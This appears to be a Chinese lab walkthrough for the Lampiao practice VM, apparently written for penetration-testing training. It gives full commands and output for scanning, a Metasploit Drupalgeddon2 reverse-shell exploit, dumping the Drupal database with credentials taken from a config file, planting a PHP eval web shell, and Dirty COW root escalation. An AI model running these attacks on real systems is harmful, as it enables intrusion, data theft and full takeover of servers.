当前位置: 首页 > article >正文

Lampiao靶机入侵实战

07-Lampiao靶机入侵实战

一、扫描采集信息

1、获取IP地址
nmap -sn 192.168.81.0/24

获得IP地址为:192.168.81.128
2、获取端口信息

由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描

nmap -p 1-65535 192.168.81.128

获取端口号为:22、80、1898
3、获取主机信息
nmap -O 192.168.81.128

得到操作系统版本:OS details: Linux 3.2 - 4.9,只有内核版本号的范围,没有细节
4、漏洞扫描
nmap --script=vuln  192.168.81.128

无果

1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
5、Nessus扫描
使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能

最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集
6、使用御剑或dirb扫描路径
┌──(root💀kaliQiang)-[/home/denny]
└─# dirb http://192.168.81.128:1898 /usr/share/dirb/wordlists/big.txt
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Wed Dec  1 20:33:33 2021
URL_BASE: http://192.168.81.128:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458                                                         
---- Scanning URL: http://192.168.81.128:1898/ ----
==> DIRECTORY: http://192.168.81.128:1898/includes/
==> DIRECTORY: http://192.168.81.128:1898/misc/                                                         ==> DIRECTORY: http://192.168.81.128:1898/modules/                                                     ==> DIRECTORY: http://192.168.81.128:1898/profiles/                                                     + http://192.168.81.128:1898/robots.txt (CODE:200|SIZE:2189)                                           ==> DIRECTORY: http://192.168.81.128:1898/scripts/                                                     + http://192.168.81.128:1898/server-status (CODE:403|SIZE:297)                                         ==> DIRECTORY: http://192.168.81.128:1898/sites/                                                       ==> DIRECTORY: http://192.168.81.128:1898/themes/                                                                       
7、Acunetix扫描

爆出很多Drupal漏洞

image-20240112155528260

8、确定入侵方向

(1)Nessus并没有提供有效的入侵路线

(2)尝试爆破SSH,无果

(3)直接访问1898的网站,并没有文件上传或SQL注入等漏洞

(4)查找Drupal这套CMS系统,发现网络上存在较多Drupal有关的RCE漏洞,

根据上述漏洞描述,选择一个比较匹配Drupal 7.54版本号的漏洞(MSF中存在的)先进行尝试。

二、使得Drupal获取Shell

1 getshell

msf6> search drupal
msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.81.128
rhosts => 192.168.81.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
rport => 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.112.148:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 192.168.81.128
[*] Meterpreter session 1 opened (192.168.112.148:4444 -> 192.168.81.128:58988) at 2021-12-01 23:37:57 +0800

meterpreter >  			# 成功反弹Shell进入Meterpreter,初战告捷
meterpreter > getuid 	# 查看当前用户:www-data,普通用户
meterpreter > shell    	# 进入主机Shell,此处注意,无提示符

2 拖库

方式一

顺带拖库,根据Drupal的文件结构,查找到/var/www/html/sites/default/settings.php文件中存在数据库连接信息

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'Virgulino',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

尝试运行 mysql -udrupaluser -pVirgulino 进入MySQL命令提示符,可以正常登录,但是发现交互式命令不友好,无法及时回显结果。但是当运行完 show databases; 后虽然无回显,但是当输入 exit; 退出时,回显了结果,数据库名为:drupal,则执行以下命令拖库:

mysqldump -udrupaluser -pVirgulino drupal > drupal.sql

运行后提示:
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
/bin/sh: 62: cannot create drupal.sql: Permission denied

说明www-data对当前目录没有写权限,要找一个具备写权限的目录当然是非常容易的事
mysqldump -udrupaluser -pVirgulino drupal > /tmp/drupal.sql

然后下载到本地,完成拖库操作
meterpreter > download /tmp/drupal.sql /home/denny
[*] Downloading: /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.00 MiB of 1.78 MiB (56.21%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] Downloaded 1.78 MiB of 1.78 MiB (100.0%): /tmp/drupal.sql -> /home/denny/drupal.sql
[*] download   : /tmp/drupal.sql -> /home/denny/drupal.sql
方式二

也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。

使用 echo "<?phpeval($_POST['a']);?>"  > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>   
把木马文件上传到靶机

image-20240112163345238

使用蚁剑连接靶机

image-20240112163432144

image-20240112163505854

image-20240112163524066

三、使用Dirty-Cow提权

当获取到Shell后,第一步便是使用getuid来查看当前用户的权限,发现是普通用户:www-data,所以还需要尝试提权。类似于Windows的永恒之蓝漏洞一样,Linux中提权是知名的漏洞便是脏牛漏洞,尝试先从这个方向入手。

1、测试目标主机编译环境

uname -a           ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version   ==> 得知Python运行环境为:2.7.6
php -v			   ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v			   ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码

2、获取脏牛漏洞代码

image-20240115163651377

在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp

image-20240115163752380

3、尝试40847提权

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > shell
Process 2500 created.
Channel 1 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls
40847.cpp
dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)

此时,root用户的密码被临时在/etc/passwd进行了修改,密码为:dirtyCowFun

4 登录Lampiao

账号 root
密码 dirtyCowFun

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

5 使用交互式环境执行

meterpreter > upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
[*] Uploading  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
[*] Completed  : /usr/share/exploitdb/exploits/linux/local/40847.cpp -> /tmp/40847.cpp
meterpreter > cd /tmp
meterpreter > ls
Listing: /tmp
=============

Mode              Size            Type  Last modified                      Name
----              ----            ----  -------------                      ----
100644/rw-r--r--  43860206036964  fil   232096135363-12-15 11:41:32 +0800  40847.cpp

meterpreter > shell
Process 1428 created.
Channel 2 created.
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
ls -l
total 52
-rw-r--r-- 1 www-data www-data 10212 Jan 15 06:57 40847.cpp
-rwxr-xr-x 1 www-data www-data 40168 Jan 15 06:57 dcow
python -c  'import  pty; pty.spawn( "/bin/bash")'
www-data@lampiao:/tmp$ ./dcow -s
./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@lampiao:~# 

http://www.kler.cn/a/375081.html

相关文章:

  • Java项目实战II基于Java+Spring Boot+MySQL的植物健康系统(开发文档+数据库+源码)
  • 微服务实战系列之玩转Docker(十六)
  • Linux 多线程编程
  • oc的若干方法转为swift 请求不执行
  • 推荐一款开源的免费PDF编辑工具:CubePDF Utility
  • 10.31OpenCV作业
  • 计算机考研,选择西安交通大学还是哈工大?
  • 吞吐量最高飙升20倍!破解强化学习训练部署难题
  • Java解析word中的表格或者文本
  • SpringBoot学生请假系统:设计与实现全攻略
  • YOLO11改进-模块-引入基于部分卷积的前馈网络PCFN
  • 第十七届山东省职业院校技能大赛通知分享
  • 算法有哪些
  • 人工智能入门要学习多久?
  • WebMvcConfigurationSupport和WebMvcConfigure
  • 中国人工智能产业发展联盟发布《基于大模型的数字人系统技术要求》
  • .NET 8 Web API 中的身份验证和授权
  • 阿里巴巴参数获取API
  • 实现企业微信打卡月报与简道云的高效集成
  • QT项目-仿QQ聊天(带宠物系统)
  • (五)Spark大数据开发实战:灵活运用PySpark常用DataFrame API
  • 星河飞雪网络安全学习笔记-shodan2
  • Kafka自动生产消息软件
  • 【LeetCode】1. 两数之和
  • CentOS 9 Stream 上安装 Maven
  • 更安全高效的文件传输工具,Ftrans国产FTP替代方案可以了解